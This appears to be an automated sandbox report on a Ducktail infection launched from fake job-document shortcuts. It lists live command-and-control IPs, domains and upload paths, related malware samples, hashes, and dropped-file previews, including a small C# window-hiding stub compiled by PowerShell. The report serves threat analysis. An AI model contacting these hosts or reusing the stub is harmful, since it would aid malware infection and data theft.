	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Job Description.lnk.download.lnk	Get hash	malicious	RDPWrap Tool, Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
172.67.128.139	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	CID5B21A97B8635.pdf	Get hash	malicious	Captcha Phish	Browse	104.21.26.167
ENZUINC-US	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	print preview.js	Get hash	malicious	FormBook	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	stage2.ps1	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	172.67.128.139

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\svczHost.exe	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8406380129981685
Encrypted:	false
SSDEEP:	48:uiTrlKxsxx0uxl9Il8u7axMQsr5DCfQP9D7iTyRd1rc:vlYmk5J1Dhy
MD5:	0A6C881F1D087A420153EE2EE586C9C1
SHA1:	5BD2C9CD0B19824AA7A720C133AC4A83FB612669
SHA-256:	D3082EEFBAF6F0380DFE5A83ECBCACBB3D33B0D8F9435E7FD7B28648A246B5A7
SHA-512:	C9B528670A51F97076F19FCD1CFC1F779EC53A4F0EA7BEEEF990E03FC9124DA4DA8F97961E91D3072FDE4CC915DEE79F31092DC6189DE8A79975B9CA2B508B60
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.F.A.+.N.8.Z.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.X.6.M.Z.o.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.995894605442698
Encrypted:	false
SSDEEP:	96:BY8Brj7oOUftxiQmwKXI4jheQN5mA+tKh2tlD:BpBrfIi5XIahe8GkKlD
MD5:	3068CF9F6495B23722331ED0FA2E84DA
SHA1:	3EEFED80AA94049E11B2F26809CDD07E84319824
SHA-256:	741B0E6BC5B626FC38AAE0F3BF07986AD360CA37BA67DD02223604DE92BB6993
SHA-512:	F161393BBB17667E122739DDD2F10C6CEF5B33F26C65DC12127DD06260E9590214E00242D6D2843F0DDA25CFD8872909B4AB13D6EDF16BE74B276F006AFC4241
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".u.I.U.N.H.b.5.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.X.6.M.Z.o.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{DE87FA0B-2CBD-4CB0-B355-69DE822523AB}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{E4CC255E-51F4-4514-BF32-8C0E26D9D3F4}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.608073074756326
Encrypted:	false
SSDEEP:	48:efNhiRurOonAanAwATW0w/1Zp0GMdVZDadXcbs3osnWn:efNhbK3RPT690BZDAc/snWn
MD5:	B9B0371F1D728F4987D4B505CDDB9307
SHA1:	C5ACAE753B28AEFFE0DE766F81843ABF8E2D3C92
SHA-256:	1150D5E3B56589EE5964B0741088599E6A1568CA2202E802C2EC2A8DC4E885B5
SHA-512:	F32F634B566EC60458E9243CD3008743EA194699A19A1AA63BE733ACBA453E0771B8B826CCDC67A68D20F4470CDE74894D1ECB772C1A3DEDE00F19FC141E7120
Malicious:	false
Preview:	..M.e.e.t.i.n.g. .R.e.g.i.s.t.i.o.n. .F.o.r.m...R.e.c.i.p.i.e.n.t.'.s. .A.d.d.r.e.s.s.:...H.a.v.a.s. .G.l.o.b.a.l. .(.D.i.g.i.t.a.l. .N.a.t.i.v.e.)...7.8.9. .O.a.k. .D.r.i.v.e...C.i.t.y.v.i.l.l.e.,. .U.S.A. .6.7.8.9.0...............................................................................................................................................................................................................................................................................................................0...................&...................r...t...........6...8...X...........8...:...................x...z.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20051
Entropy (8bit):	5.024314565257015
Encrypted:	false
SSDEEP:	384:KiQ0HzAF1FXX359ib4DVVHWrxpUUpXoCwiopbjvwRjdvRlYfWkib45OvQJvOjJx:KinHzwbH3FVVHWrxpUUpXoCwiopbjoRd
MD5:	B5DB685AC5E98A2113E1C2A8E527EAEF
SHA1:	C537021918301E68B38AEC4FD24C4D2EE8471A87
SHA-256:	F0619199122346C9708E93301C424A8973C6274F18115E1E1DD7C3DA1C14EB0D
SHA-512:	C1946C7A30129D644B8959A0033BF6AA279C1A26EC72C349AD679AD1DD6574D6D4EA7C4BCF9D2437A37A7F33C42640DB4AFA74FADD5BA5DDFCFA1624B607EBBB
Malicious:	false
Preview:	PSMODULECACHE......wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Get-Date........Clear-Variable........Get-EventSubscriber........Import-Csv........Get-Variable........New-Variable........Compare-Object........New-TemporaryFile........Convert-String........New-Alias........Export-Csv........Get-Event........Set-TraceSource........ConvertTo-Csv........ConvertFrom-Json........Get-PSCallStack........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllul1llll/Z:NllU
MD5:	62575C1B3ADF51EDDA337932018E02C2
SHA1:	4692DC06DB394841E45A82C560391A40B1D1AC15
SHA-256:	D38B91661C4FDA335C05696A5521A04A3B379CBB6FDD66AE25F290C364625C9C
SHA-512:	FE68B194FBF6460ED285840DC3A99908CBC6E2FA70BAC73FE49578FD29477635F4E0AF6C056CD76F2717CE05097E81F30B8254919C24A9BDA47BDD44B96E2E24
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.267965977888007
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fLXTe6XhB0zxs7+AEszICN23fLXTe6Xh:p37Lvkmb6KmTDXUWZE7TDXR
MD5:	63DAD29CADA8C37612579D1E4543431C
SHA1:	681E24F8F0F95BA690C109667E004128326C5C39
SHA-256:	9A6A896483C69F4342AB2A5E2FAACEFEE4DA6165E525FE0EAD8379F4D586FF90
SHA-512:	DC3DA6D23FB6EE08154B27EEAEE46E4BFB2F7644278F404E5D8C1A07C4C565192074286C621B4798AE30E480E1FC5F64891E502B7FF94C0F83FCB34EDC997D39
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.0.cs"

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7937751849696566
Encrypted:	false
SSDEEP:	24:etGSuWJ2JJi8R86QMBTcetkZfahZ4jx3+WI+ycuZhNMakS4PNnqI:62NR9ZcRJah63l1ulMa3AqI
MD5:	AD52E8FE08F3CCCE8182AFDABC2DB351
SHA1:	F7F94D2292AF8AC563248C09D2BAD09B52E5C730
SHA-256:	4EBD1D6306F490595E7BC60195CC001F85A4590A9C87C7FDB001E0E34255D1D0
SHA-512:	A78B1053C2F35676D5739195030CF506BB8E309F80AFC2813B7CC52E7E099A13E24B14B062D3B6C6A6BB7CF1AEA7BA4F5610886BBE5568DBC487C2678C224652
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....tYg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.333287376117599
Encrypted:	false
SSDEEP:	24:KSId3ka6KmT71E7T70Kax5DqBVKVrdFAMBJTH:dkka6PT71E7T70K2DcVKdBJj
MD5:	F7E155F3B04D9F8224BD11F3BA5963AB
SHA1:	53C274BAC40397F437CFFF8EF61E710C291DA970
SHA-256:	CA2242A712962A25931E7AA6683102E95DB870F32814529D86358064023AC6F3
SHA-512:	BEF663FD6EC20AF053B11E7353E6E81A31D2BD2C6C1D5070E56CBE1F9FE8A5ED75C5DAC95B2A4F21E766012D9B18E70F5D3DC45EA2BB8C2490DF8D6692CA9ED8
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1101387965203715
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryKak7Ynqq4PN5Dlq5J:+RI+ycuZhNMakS4PNnqX
MD5:	87043C65EAA805A45C5DF0AEF59D326F
SHA1:	DC636E452EC362CA9CE1A76A604802DD5D05D839
SHA-256:	CD8EE4077F149FA98006C635C66BBD6415174ABB62D7DFB5A91F7419340137A5
SHA-512:	8E90C34AFCA1B9771D7DB960FA1992E53061F672E20B2D6C60C899F6B6B929BE77896D81B9EBC211A769E2A17D461DD857D7B4DAE2FD58A55CA4CE998987CA0C
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.x.y.m.y.n.2.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.x.y.m.y.n.2.p...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915663870814400_71231A9D-9F42-4EE6-9E75-AA67AE05E9EB.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (29536), with CRLF line terminators
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.15727580418262238
Encrypted:	false
SSDEEP:	1536:rV2mhYE/4gFkLA4DjF0SeLtIVYSlkgy1WsEL3He0leho+TvBm2qFpT6FKnjYn8MA:xdhY2njKT6ON
MD5:	3849932C763CED08EE354BCB7A7A2AC2
SHA1:	85FFF32E2B8E750B6224E87B6459E36F1E29CA1F
SHA-256:	9212AC508264029F46FD73E0F4E9BC59C3C871D9C6D3692DAE6D62EF13FF41D2
SHA-512:	2EDD1EACED67649A06363C0F098C77CE98C3192F04554A9FAFA2877E23570B97A6C868B25BDE666694D5A7B3AB7D6DAE6424EA5B4D7C1E274E9A042FB17EE397
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:14:23.898.WINWORD (0xA8C).0x1DF8.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.System.GracefulExit.GracefulAppExitDesktop","Flags":33777014402039809,"InternalSequenceNumber":36,"Time":"2024-12-11T11:14:23.898Z","Data.PreviousAppMajor":16,"Data.PreviousAppMinor":0,"Data.PreviousAppBuild":14326,"Data.PreviousAppRevision":20404,"Data.PreviousSessionId":"8BFAB695-6189-4A38-A899-06F755A4318B","Data.PreviousSessionInitTime":"2022-01-20T08:52:15.379Z","Data.PreviousSessionUninitTime":"2022-01-20T08:52:20.483Z","Data.SessionFlags":4,"Data.InstallMethod":0,"Data.OfficeUILang":1033,"Data.PreviousBuild":"Unknown","Data.EcsETag":"\"b7Qi7MN0GA1f8EYc/DoKnbPAk/oT2GLPKzZT5EHYlUw=\"","Data.ProcessorArchitecture":"x64"}...12/11/2024 11:14:23.960.WINWORD (0xA8C).0x648.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Experimentation.FeatureQueryBatched","Flags":337770

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915663871392800_71231A9D-9F42-4EE6-9E75-AA67AE05E9EB.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	7.425473944164375
Encrypted:	false
SSDEEP:	48:9vTdVmipTBzMsrI61eft92CtKa8KHivgZrs97nnbre8x5ZqHBwharzD4KWk8bu1t:xxEmTyMI61EOdgZejbC8xLaJ3D4+8bst
MD5:	93283C2DFC4AF4148FDE4F287FD73332
SHA1:	0E7D1F8D8DD3DA08502EC1784ECECFBF36BD211C
SHA-256:	14335A078656D8C5494C3DB0941BBCDAA1E06C8AFC70D8D19495BF5DB6C354D1
SHA-512:	B15B34656FDAE0247AF4C26D3D5213A33FF82820792F5C23114FF5E7286BA075BEE126696C0ADBFFC002374A53BD73CBE3BB0F4F3F1B619AA660C12C78B46CC8
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.\mo.6..+W}i....lYk.)...R.I....i...".......%...v..a.......t.s.H9..7.....f..0.f...R..8.4.\|.2....B[..l.>{s.z5..hk4....8.BhFy..k...ACu.u..t....:.8[..d....px..B.,..Y.....u...QP[.Z$S..y...2.#..3..k.?.. ....T.........R9.~.z.7....\|).8+..m.]..&.8./..gSU..k\.....6........b.>L...TvC..Ca.u[.D...kT...u4.@@.........B..o#.Q...7..w`8....QG.nP.R..[bv..1D/.p.\|7.%.@....}D........G.....I..Ab.a..E....DJ*..............3.....@_.EPK\|~..._......G....V.....O.......!'

C:\Users\user\AppData\Local\Temp\RESDE80.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Wed Dec 11 11:14:13 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.999001355379688
Encrypted:	false
